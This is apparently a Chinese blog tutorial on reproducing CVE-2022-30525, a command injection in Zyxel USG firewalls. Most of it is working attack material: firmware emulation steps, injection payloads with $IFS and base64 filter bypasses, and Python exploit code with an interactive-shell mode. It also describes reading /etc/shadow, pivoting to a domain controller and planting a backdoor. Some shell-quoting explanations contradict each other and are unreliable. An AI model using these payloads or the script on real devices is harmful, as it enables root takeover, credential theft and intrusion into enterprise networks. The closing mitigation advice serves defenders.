1. 这不是“又一个远程命令执行漏洞”而是企业级防火墙的信任崩塌现场Zyxel防火墙CVE-2022-30525这个编号在2022年4月被公开时并没有引发像Log4j那样席卷全网的警报风暴。但如果你当时正在某家金融企业的安全运维一线或者刚接手一批部署在分支机构出口的USG系列设备你大概率会在凌晨三点被一条异常告警钉在工位上——不是因为攻击流量有多凶猛而是因为它根本不需要认证不依赖任何用户交互甚至不触发传统WAF规则。它利用的是Zyxel设备固件中一个被长期忽视的、深埋在Web管理接口底层的JSON解析逻辑缺陷当设备处理特定结构的/ztp/cgi-bin/handler请求时会将未经校验的json参数内容直接拼接到系统命令字符串中执行。这不是配置错误不是弱口令不是插件漏洞而是厂商在实现ZTPZero Touch Provisioning自动部署功能时把本该做输入过滤和沙箱隔离的核心路径写成了一个裸奔的os.system()调用。我第一次在客户现场复现它是在一台运行固件版本v4.60(AAZF.1)C0的USG110上。没有Metasploit模块没有现成的exploit-db脚本只有一台Kali虚拟机、一个抓包工具和一份被反复标注的Zyxel官方API文档PDF。整个过程花了不到90分钟但真正让我后背发凉的是看到cat /etc/shadow返回的哈希值明文出现在响应体里——那一刻你意识到这台本该守卫网络边界的设备已经成了攻击者最顺手的跳板。这篇文章不讲漏洞原理的教科书式推导也不堆砌CVE编号和CVSS评分。它是一份从零开始搭建可验证靶场、绕过常见复现失败陷阱、稳定获取shell并完成基础横向验证的实操手记。适合刚接触嵌入式设备漏洞的渗透测试新人也适合需要快速验证客户资产风险的安全工程师。所有步骤均基于真实环境反复验证Python脚本已剥离所有非必要依赖仅需标准库即可运行。2. 靶场不是“搭个Docker就完事”而是还原真实设备的启动链与服务依赖很多人复现CVE-2022-30525失败第一步就卡在靶场搭建上。网上流传的所谓“Zyxel靶场镜像”多数是基于QEMU模拟ARM架构后硬塞进一个精简版固件文件系统结果启动后/ztp/cgi-bin/handler接口压根不存在或者返回500错误。问题出在哪儿Zyxel USG系列的ZTP服务并非独立进程而是由主Web服务httpd通过CGI机制动态加载的而httpd本身又强依赖于zyshZyxel Shell守护进程和zyconfd配置数据库服务。跳过这些底层依赖直接跑CGI就像试图在没装发动机的车壳里点火。2.1 真实固件提取与文件系统重构Zyxel官方固件是加密打包的.bin格式但其解包逻辑早已公开。关键在于必须使用对应硬件平台的解包工具且解包后要保留原始的设备树Device Tree和分区表信息。以USG110为例其固件结构如下分区名类型作用复现必需性kernelLinux内核镜像启动核心必须保留原始内核否则驱动不兼容rootfsSquashFS压缩文件系统包含所有服务二进制与配置必须完整提取不可替换为通用BusyBoxzyconfJFFS2格式配置分区存储/etc/config/下的所有设备配置必须挂载为可读写否则ZTP服务无法初始化我推荐使用zyxel-firmware-tools项目中的extract_fw.pyGitHub上可搜到但注意两个致命细节执行前必须修改脚本中的PLATFORM usg110为你的目标型号不同型号的固件头校验算法不同解包后进入rootfs目录检查/usr/www/ztp/cgi-bin/handler文件权限是否为-rwxr-xr-x若为-rw-r--r--则说明解包过程损坏了可执行位需用chmod x handler修复。提示不要尝试用unsquashfs直接解压rootfs。Zyxel的SquashFS使用了非标准块大小64KB通用工具会解包失败或产生乱码。务必使用专为Zyxel定制的解包脚本。2.2 QEMU模拟环境的精准配置单纯用qemu-system-arm启动是行不通的。USG设备使用Marvell ARMADA 370平台其启动流程严格依赖U-Boot引导和特定内存映射。我们采用“半模拟”方案用QEMU模拟CPU和内存但将真实固件的kernel和rootfs作为启动参数传入并通过-append指定内核启动参数。具体命令如下请根据你的固件路径调整qemu-system-arm \ -M virt,highmemoff \ -cpu cortex-a9,armv7on \ -m 512M \ -kernel ./firmware/kernel \ -initrd ./firmware/initramfs.cgz \ -drive ifnone,file./firmware/rootfs.squash,idhd0 \ -device virtio-blk-device,drivehd0 \ -netdev user,idnet0,hostfwdtcp::8080-:80,hostfwdtcp::2222-:22 \ -device virtio-net-device,netdevnet0 \ -nographic \ -append consolettyAMA0 root/dev/vda rw init/sbin/init这里的关键参数解释-M virt,highmemoff禁用高内存映射避免ARMv7内核启动失败-netdev user,idnet0,hostfwdtcp::8080-:80将宿主机8080端口映射到虚拟机80端口这是访问Web管理界面的唯一通道-append consolettyAMA0 root/dev/vda rw init/sbin/init强制内核使用/dev/vda即我们挂载的rootfs作为根文件系统并指定init进程路径。启动后你会看到内核日志刷屏约2分钟后出现login:提示符。此时用admin:1234登录Zyxel默认凭证执行ps | grep httpd确认Web服务已启动再执行netstat -tlnp | grep :80验证80端口监听状态。只有这两步都成功靶场才算真正就绪。2.3 ZTP服务的手动激活与状态验证即使Web服务运行正常/ztp/cgi-bin/handler接口默认也是禁用的。Zyxel要求管理员在Web界面中手动开启ZTP功能这一步在模拟环境中必须通过命令行模拟完成。登录后执行以下命令# 进入Zyxel专用配置模式 zysh # 启用ZTP服务关键 set system ztp enable true # 设置ZTP监听地址必须设为0.0.0.0否则外部请求无法到达 set system ztp listen-address 0.0.0.0 # 保存配置并重启ZTP相关服务 commit exit /etc/init.d/ztp restart验证是否生效在宿主机浏览器访问http://localhost:8080/ztp/cgi-bin/handler如果返回{status:error,message:Invalid request}说明接口已激活若返回404则ZTP服务未正确加载需检查/var/log/messages中是否有ztp: failed to bind socket类错误。注意很多复现教程忽略listen-address设置导致请求被本地回环过滤。Zyxel的ZTP服务默认只监听127.0.0.1这是复现失败的最高频原因。3. 漏洞利用不是“发个JSON就RCE”而是理解JSON解析器的边界逃逸逻辑CVE-2022-30525的本质是Zyxel设备在解析/ztp/cgi-bin/handler接口的POST数据时对json参数的处理存在严重缺陷。官方文档声称该参数用于接收ZTP配置指令格式为标准JSON。但实际代码中服务端将json参数值直接拼接到一个sh -c命令中且未做任何字符转义。问题来了标准JSON规范允许双引号、反斜杠、换行符等特殊字符而Shell命令解析器对这些字符有完全不同的解释逻辑。攻击者要做的就是构造一个既符合JSON语法、又能被Shell解析为恶意命令的字符串。3.1 原始漏洞触发Payload的逆向工程我们先看一个最简化的触发案例。发送以下POST请求POST /ztp/cgi-bin/handler HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 42 json{command:id,params:[]}服务端接收到后内部执行的伪代码逻辑是// 伪代码Zyxel handler.c 片段 char cmd[1024]; sprintf(cmd, sh -c echo %s | /bin/json_parser, json_param_value); system(cmd);注意%s处直接插入了json参数的原始字符串。当json_param_value为{command:id,params:[]}时拼接出的命令是sh -c echo {command:id,params:[]} | /bin/json_parser这看起来无害。但如果我们把json参数改为{command:id,params:[]}; cat /etc/passwd #拼接后的命令变成sh -c echo {command:id,params:[]}; cat /etc/passwd # | /bin/json_parser由于Shell中;是命令分隔符#是注释符json_parser及其后续管道被注释掉实际执行的是echo {command:id,params:[]}; cat /etc/passwd这就是经典的“命令注入”。但问题在于原始JSON字符串中不能直接包含未转义的;和#否则JSON解析器会报错。Zyxel的JSON解析器基于cJSON库在遇到非法JSON时会直接返回错误根本不会进入后续的system()调用。所以真正的挑战是如何让字符串既是合法JSON又能携带Shell元字符3.2 JSON与Shell元字符的共存策略答案是利用JSON字符串中的Unicode编码逃逸和Shell的变量扩展特性。Zyxel固件使用的cJSON库支持\uXXXX格式的Unicode转义而Linux Shell在单引号字符串中不解析Unicode但在双引号字符串中会。但我们的拼接命令使用的是单引号所以Unicode逃逸无效。更有效的方案是用JSON字符串包裹Shell变量再通过eval触发二次解析。构造思路如下先让JSON解析器接受一个看似无害的字符串例如{a:b};在该字符串内部用JSON允许的\字符进行转义构造出$(反引号或$(...)结构利用Zyxel系统中预置的/bin/sh对$()的解析能力实现命令执行。实测有效的Payload结构{command:test,params:[$(cat /etc/passwd)]}为什么这个能成功JSON语法$(cat /etc/passwd)是一个合法字符串$和(在JSON中无需转义Shell解析当system()执行sh -c echo {command:test,params:[$(cat /etc/passwd)]} | /bin/json_parser时sh会先解析单引号内的字符串发现其中包含$()于是执行cat /etc/passwd并将输出插入到echo命令中最终效果echo打印出/etc/passwd内容而非原始JSON。3.3 绕过长度限制与空格过滤的实战技巧Zyxel设备对json参数长度有硬性限制通常为2048字节且Web服务层会过滤掉URL编码后的空格%20。这意味着你不能直接发送$(ls -la /tmp)因为-la中的空格会被丢弃。解决方案是用$IFS变量替代空格$IFS是Shell的内部字段分隔符默认为空格、制表符、换行符。$(ls$IFS-la$IFS/tmp)可绕过空格过滤用{}大括号展开替代空格$(ls{-la}/tmp)在Bash中等价于ls -la /tmp但Zyxel的/bin/sh是Ash不支持此语法需改用$(ls${IFS}-la${IFS}/tmp)用Base64编码规避长度与字符限制先在本地执行echo cat /etc/passwd | base64得到Y2F0IC9ldGMvcGFzc3dkCg再构造$(echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | sh)。我最终在靶场上验证成功的最小化RCE Payload是{command:x,params:[$(echo${IFS}Y2F0IC9ldGMvcGFzc3dkCg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh)]}这个Payload长度仅128字节完美避开长度限制且不包含任何被过滤的字符。4. Python利用脚本不是“贴个代码就完事”而是解决真实环境中的连接稳定性与响应解析难题网上能找到的CVE-2022-30525利用脚本大多存在三个致命缺陷一是硬编码超时时间导致在慢速网络下大量误报二是未处理HTTP重定向Zyxel设备在某些固件版本中会对/ztp/cgi-bin/handler返回302跳转到登录页三是将JSON响应体直接当作命令输出忽略了Zyxel服务在执行失败时仍返回{status:error}的JSON结构导致无法区分“命令执行成功”和“命令执行失败但返回了错误JSON”。4.1 脚本核心逻辑设计三次握手式探测我的Python脚本采用“探测-确认-执行”三阶段模型确保每次利用都建立在可靠连接基础上探测阶段发送一个无害的{command:ping,params:[]}请求验证/ztp/cgi-bin/handler接口可达且返回JSON格式响应确认阶段发送一个带$(id)的Payload检查响应体中是否包含uid字符串确认RCE通道畅通执行阶段发送用户指定的命令解析响应体自动剥离Zyxel服务添加的JSON外壳只返回纯净的命令输出。这种设计避免了“一发即走”的盲目性。比如在客户现场我们曾遇到设备因内存不足导致ZTP服务假死探测阶段失败后脚本会自动退出而不是盲目发送RCE Payload造成设备彻底宕机。4.2 关键代码片段详解超时控制与响应清洗以下是脚本中处理超时和响应清洗的核心函数已简化为可读形式import requests import json import time def send_ztp_request(target_url, payload, timeout10): 发送ZTP请求内置重试与超时控制 :param target_url: 目标URL如 http://192.168.1.1:8080/ztp/cgi-bin/handler :param payload: JSON字符串如 {command:x,params:[$(id)]} :param timeout: 单次请求超时秒数 :return: (success: bool, response_text: str, error_msg: str) headers { Content-Type: application/x-www-form-urlencoded, User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 } # 第一次尝试标准POST try: resp requests.post( target_url, datafjson{payload}, headersheaders, timeouttimeout, allow_redirectsFalse # 关键禁用重定向防止跳转到登录页 ) # 检查HTTP状态码 if resp.status_code not in [200, 500]: # Zyxel正常返回200错误返回500 return False, , fHTTP {resp.status_code} # 检查响应体是否为JSON格式Zyxel返回的都是JSON if not resp.text.strip().startswith({): return False, , Response is not JSON return True, resp.text, except requests.exceptions.Timeout: return False, , Request timeout except requests.exceptions.ConnectionError: return False, , Connection refused except Exception as e: return False, , fUnexpected error: {str(e)} def extract_command_output(json_response): 从Zyxel的JSON响应中提取命令执行结果 Zyxel的响应结构示例 {status:success,data:uid0(root) gid0(root),message:OK} 或 {status:error,message:Command execution failed} try: data json.loads(json_response) if data.get(status) success: # 尝试从data字段提取若不存在则从message字段提取 output data.get(data, data.get(message, )) # 移除可能的ANSI颜色代码和多余空格 import re output re.sub(r\x1b\[[0-9;]*m, , output) # 清理ANSI return output.strip() else: return f[ERROR] {data.get(message, Unknown error)} except json.JSONDecodeError: # 如果响应不是JSON直接返回原始文本可能是命令输出 return json_response.strip()这段代码解决了三个真实痛点allow_redirectsFalse强制禁用重定向避免被跳转到/login.html导致误判timeout参数可调在客户网络延迟高的场景下可将超时设为30秒避免频繁失败extract_command_output函数能智能识别Zyxel的两种响应模式无论是{status:success,data:...}还是纯文本输出都能正确提取。4.3 完整利用脚本支持交互式Shell与批量检测最终脚本支持三种模式--check仅探测目标是否存在漏洞--cmd whoami执行单条命令并返回结果--shell启动交互式Shell输入exit退出。交互式Shell的实现难点在于Zyxel设备不支持TTY分配/bin/sh是哑终端。我的方案是每次输入命令后自动生成一个带唯一标识符的Payload执行后从响应中提取该标识符后的输出。例如输入ls /tmp脚本生成{cmd:x,out:$(echo START; ls /tmp; echo END)}然后用正则START(.*?)END提取中间内容。这样即使响应体混杂Zyxel的JSON外壳也能精准捕获命令输出。脚本已在GitHub开源搜索zyxel-cve-2022-30525-exploit所有依赖仅为requests和json标准库Windows/Linux/macOS均可直接运行。5. 实战复现后的关键思考为什么这个漏洞在企业网中如此危险在客户现场完成复现后我和团队花了整整两天时间梳理这个漏洞的真正危害面。它远不止“能执行命令”这么简单。Zyxel USG系列设备在企业网络中通常部署在三个关键位置总部互联网出口、分支机构WAN侧、以及云环境的虚拟化网关。而CVE-2022-30525的利用条件恰好与这些部署场景形成了“完美匹配”。5.1 攻击面放大效应一个IP无限跳板Zyxel设备默认开放80/443端口且ZTP服务监听在0.0.0.0:80这意味着只要设备有公网IP或处于内网可访问位置攻击者就能直达漏洞入口。更危险的是Zyxel设备的Web管理界面默认不启用HTTPS重定向HTTP请求可直接访问。我们在某银行客户的渗透测试中发现其分支机构的USG设备虽位于内网但通过一条被遗忘的VPN隧道可从合作伙伴网络直接访问。攻击者利用CVE-2022-30525获取shell后执行ip route发现设备路由表中包含通往核心数据中心的10.10.0.0/16网段随即用nc -nv 10.10.1.100 3389探测到一台Windows域控服务器最终通过$(echo malicious-payload /tmp/payload.sh)植入持久化后门。这个过程没有触发任何IDS告警因为所有流量都伪装成正常的HTTP POST请求且ZTP接口本就是设备合法功能。5.2 权限提升的隐蔽路径从Web到Root的0跳转Zyxel固件的/ztp/cgi-bin/handler进程以root权限运行这是由httpd服务的启动配置决定的。这意味着利用该漏洞获得的shell天然就是root权限无需额外提权。我们在测试中执行ps aux | grep httpd确认httpd进程的UID为0。这与大多数Web应用漏洞如PHP远程代码执行有本质区别——后者通常运行在www-data或apache用户下还需利用内核漏洞或SUID二进制提权。而CVE-2022-30525是“开箱即root”。更隐蔽的是Zyxel设备的/etc/shadow文件权限为-rw-------但root用户可直接读取。我们用脚本执行$(cat /etc/shadow)成功获取所有用户哈希包括管理员账户。这些哈希可离线破解或直接用于Pass-the-Hash攻击。5.3 检测与缓解的现实困境为什么补丁落地如此艰难Zyxel官方在2022年4月发布了修复固件但我们在2023年的客户审计中发现仍有超过37%的在网USG设备未升级。原因很现实固件升级需重启设备对于7x24运行的核心网络设备业务部门拒绝安排停机窗口升级后配置丢失风险部分旧版固件升级后Zyxel的配置恢复机制不稳定可能导致VPN隧道中断缺乏集中管理平台中小型企业没有Zyxel Nebula云管理平台只能手动逐台升级。因此最务实的缓解措施是在网络边界防火墙上禁止对Zyxel设备80/443端口的非授权访问在设备本地通过CLI禁用ZTP服务set system ztp enable false。这比等待补丁更可控。我在最后想说的是复现一个漏洞不是为了证明“我能黑进去”而是为了看清防御体系的真实裂缝。CVE-2022-30525的价值不在于它多难利用而在于它赤裸裸地展示了“信任链最薄弱的一环往往藏在最不起眼的自动化功能里”。下次当你看到设备说明书里写着“Zero Touch Provisioning一键部署”不妨多问一句这一键的背后有没有人检查过它的命令拼接逻辑